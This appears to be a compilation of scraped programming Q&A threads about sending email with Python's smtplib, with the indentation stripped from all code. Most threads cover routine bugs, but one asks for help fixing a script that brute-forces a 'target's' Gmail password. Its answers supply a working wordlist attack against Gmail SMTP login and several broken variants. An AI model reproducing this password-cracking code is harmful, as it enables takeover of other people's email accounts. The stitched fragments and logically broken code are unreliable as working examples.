Is this an valid example from Python's smtplib? How, from this example, would one send email without giving the password?
import smtplib
def prompt(prompt):
return raw_input(prompt).strip()
fromaddr = prompt("From: ")
toaddrs = prompt("To: ").split()
print "Enter message, end with ^D (Unix) or ^Z (Windows):"
# Add the From: and To: headers at the start!
msg = ("From: %s\r\nTo: %s\r\n\r\n"
% (fromaddr, ", ".join(toaddrs)))
while 1:
try:
line = raw_input()
except EOFError:
break
if not line:
break
msg = msg + line
print "Message length is " + repr(len(msg))
server = smtplib.SMTP('localhost')
server.set_debuglevel(1)
server.sendmail(fromaddr, toaddrs, msg)
server.quit()
You can send emails without using a password assuming the server configuration allow that.
Related
Is there any way to forward email(gmail like - you know... with additional text under) using smtp?
Here is a piece of my code:
def forward_email(email_id, email_to):
client, messages = get_original_email(email_id)
typ, data = client.fetch(messages[0].split(' ')[-1], '(RFC822)')
email_data = data[0][1]
message = email.message_from_string(email_data)
smtp = smtplib.SMTP(EMAIL_HOST, EMAIL_PORT)
smtp.ehlo()
smtp.starttls()
smtp.login(IMAP_LOGIN, IMAP_PASSWORD)
result = smtp.sendmail(email.utils.parseaddr(message['From']),
email_to, message.as_string())
smtp.quit()
return result
Now it's not working because message.as_string() has special headers and other unused info.
I guess gmail blocked it because this.
below code worked for me correctly, even sending mail continuously on function call
def send_email(to='example#email.com', f_host='send.one.com', f_port=587, f_user='from#me.com', f_passwd='my_pass', subject='subject for email', message='content message'):
smtpserver = smtplib.SMTP(f_host, f_port)
smtpserver.ehlo()
smtpserver.starttls()
smtpserver.ehlo
smtpserver.login(f_user, f_passwd) # from email credentialssssssssss
header = 'To:' + to + '\n' + 'From: ' + f_user + '\n' + 'Subject:' + subject + '\n'
message = header + '\n' + message + '\n\n'
smtpserver.sendmail(f_user, to, str(message))
smtpserver.close()
DBG('Mail is sent successfully!!')
I am trying to figure out why isn't my code working. I am trying to improve my python skill by adding some code to another, but when I tried to execute it keeps giving me a syntax error.
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print "[+] Password Cracked: %s" % symbols
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Inccorect: %s" % symbols
the output is
File "main.py", line 22
except smtplib.SMTPAuthenticationError:
^
SyntaxError: invalid syntax
I just don't understand, may somebody discover and patch up the problem
Indentation!
except should be at the same indent level as try.
try this script :
import sys
import smtplib
def main():
host = 'smtp.gmail.com'
port = 587
user = raw_input('[+] Enter The Email To Crack : ')
password = raw_input('[+] Enter The Password List : ')
passs = open(password, 'r').readlines()
for passw in passs:
password = passw.rstrip()
smtp(host, port, user, password)
def smtp(host, port, user, password):
try:
server = smtplib.SMTP(host, port)
server.ehlo()
server.starttls()
server.login(user, password)
print "[+] Password Found Succesfully : " + password
sys.exit(1)
except smtplib.SMTPAuthenticationError:
print "[-] Password Incorrect : " + password
pass
You didn't intended the except according the rule. This is after fixing that. For more about try...except use see here.
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print "[+] Password Cracked: %s" % symbols
break;
except smtplib.SMTPAuthenticationError:
print "[!] Password Inccorect: %s" % symbols
This worked for me:
import itertools
import smtplib
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
user = input("Enter Target's Gmail Address: ")
def print_perms(chars, minlen, maxlen):
for n in range(minlen, maxlen+1):
for perm in itertools.product(chars, repeat=n):
print(''.join(perm))
print_perms("abcdefghijklmnopqrstuvwxyz1234567890", 2, 4)
for symbols in print_perms:
try:
smtpserver.login(user, password)
print ("[+] Password Cracked: %s") % symbols
break;
except smtplib.SMTPAuthenticationError:
print ("[!] Password Inccorect: %s") % symbols
I am trying to develop a small python application that allows it's user to send multiple mails through python, I am using gmail, I have allowed Access for less secure apps, it doesn't send.
I have searched stackoverflow for similar problems, but it seemed that most of the used codes are completely different in implementation, even after trying many of hem, they all through exception
import smtplib
from telnetlib import Telnet
def addSenders(message):
num = input("enter number of recievers : ")
num = int (num)
i = 0
emailList = []
while i < num :
nameStr = input("enter name")
mailStr = input("enter e-mail")
emailList.append(mailStr)
if i == 0:
message += nameStr + " <" + mailStr + ">"
print(message)
else:
message += "," + nameStr + " <" + mailStr + ">"
i = i + 1
return emailList, message
sender = 'xxxx#gmail.com'
password = "xxxx"
message = """From: xxxx xxxx <xxxxx#gmail.com>
To: To """
to, message = addSenders(message)
message += """
MIME-Version: 1.0
Content-type: text/html
Subject: Any Subject!
<h1> Good Morning :D <h1>
"""
server = smtplib.SMTP('smtp.gmail.com',587)
server.ehlo()
server.starttls()
server.login(sender, password)
try:
server.sendmail(sender, [to], message)
print ("Successfully sent email")
except:
print ("Error: unable to send email")
server.quit()
output : Error: unable to send email
My email program is emailing each line of the message as a separate email, i would like to know how to send all of the message in one email, when the email is sent the program will return to the beginning.
import smtplib
from email.mime.text import MIMEText
a = 1
while a == 1:
print " "
To = raw_input("To: ")
subject = raw_input("subject: ")
input_list = []
print "message: "
while True:
input_str = raw_input(">")
if input_str == "." and input_list[-1] == "":
break
else:
input_list.append(input_str)
for line in input_list:
# Create a MIME text message and populate its values
msg = MIMEText(line)
msg['Subject'] = subject
msg['From'] = '123#example.com'
msg['To'] = To
server = smtplib.SMTP_SSL('server', 465)
server.ehlo()
server.set_debuglevel(1)
server.ehlo()
server.login('username', 'password')
# Send a properly formatted MIME message, rather than a raw string
server.sendmail('user#example.net', To, msg.as_string())
server.close()
(the part that takes multiple lines was made with the help Paul Griffiths, Multiline user input python)
for line in input_list:
# Create a MIME text message and populate its values
msg = MIMEText(line)
You are calling server.sendmail in this loop.
Build your entire msg first (in a loop), THEN add all of your headers and send your message.
I have SSH running on a machine with ADSL connection. I made this script to send me an email each time the machine has new a IP address.
The machine is not accessible by me. I gave the script to a friend so I cannot perform debugging to figure out what is wrong with this script. I'm using a university connection right now and it has a static ip address. There is no point running the script on it.
So any suggestions how to improve/fix the script. Sometimes I'll receive non valid IP addresses or sometimes the IP address will change but I don't get an email. Should I use another method for this kind of automation?
import urllib
import time
import smtplib
fromaddr = '***#gmail.com'
toaddrs = '***#gmail.com'
ip = ""
username = '****'
password = '****'
f = False
def update():
global ip,f
#print "sleeping 5 seconds"
time.sleep(5)
while not f:
try:
f = urllib.urlopen("http://automation.whatismyip.com/n09230945.asp")
except IOError, e:
print "no internet !"
time.sleep(5)
if not ip and f:
ip = f.read()
print "getting the first ip"
print ip
sendmail(ip)
print "mail sent"
else:
if f:
ip2 = f.read()
#print ip,ip2
if ip != ip2 and ip and ip2:
ip = ip2
print "new ip",ip,"sending mail"
sendmail(ip)
else:
print "ip is the same"
f = False
#print ip
def sendmail(ip):
a = False
while not a:
try:
#just to check if i have internet or not
a = urllib.urlopen("http://automation.whatismyip.com/n09230945.asp")
server = smtplib.SMTP('smtp.gmail.com:587')
server.ehlo()
server.starttls()
server.ehlo()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, ip)
server.quit()
except IOError, e:
print "no internet"
time.sleep(5)
#sendmail(ip)
print "program started"
while(1):
update()
I'd suggest that you might be hitting the server too often and getting blocked... http://forum.whatismyip.com/f14/pace-yourself-t6/
Change your first time.sleep(5) to time.sleep(300).
Thanks for great script! This will definitely work (with echoip.com as urlopen data)
import urllib
import time
import smtplib
fromaddr = '***'
toaddrs = '***'
ip = ""
username = '***'
password = '***'
f = False
def update():
global ip,f
#print "sleeping 5 seconds"
time.sleep(20)
while not f:
try:
f = urllib.urlopen("http://echoip.com")
except IOError as e:
print ("no internet !", e)
time.sleep(5)
if not ip and f:
ip = f.read()
print "getting the first ip"
print ip
sendmail(ip)
print "mail sent"
else:
if f:
ip2 = f.read()
#print ip,ip2
if ip != ip2 and ip and ip2:
ip = ip2
print "new ip",ip,"sending mail"
sendmail(ip)
else:
print "ip is the same"
f = False
#print ip
def sendmail(ip):
a = False
while not a:
try:
#just to check if i have internet or not
a = urllib.urlopen("http://echoip.com")
server = smtplib.SMTP('smtp.gmail.com:587')
server.ehlo()
server.starttls()
server.ehlo()
server.login(username,password)
server.sendmail(fromaddr, toaddrs, ip)
server.quit()
except IOError as e:
print ("no internet", e)
time.sleep(10)
#sendmail(ip)
print "program started"
while(1):
update()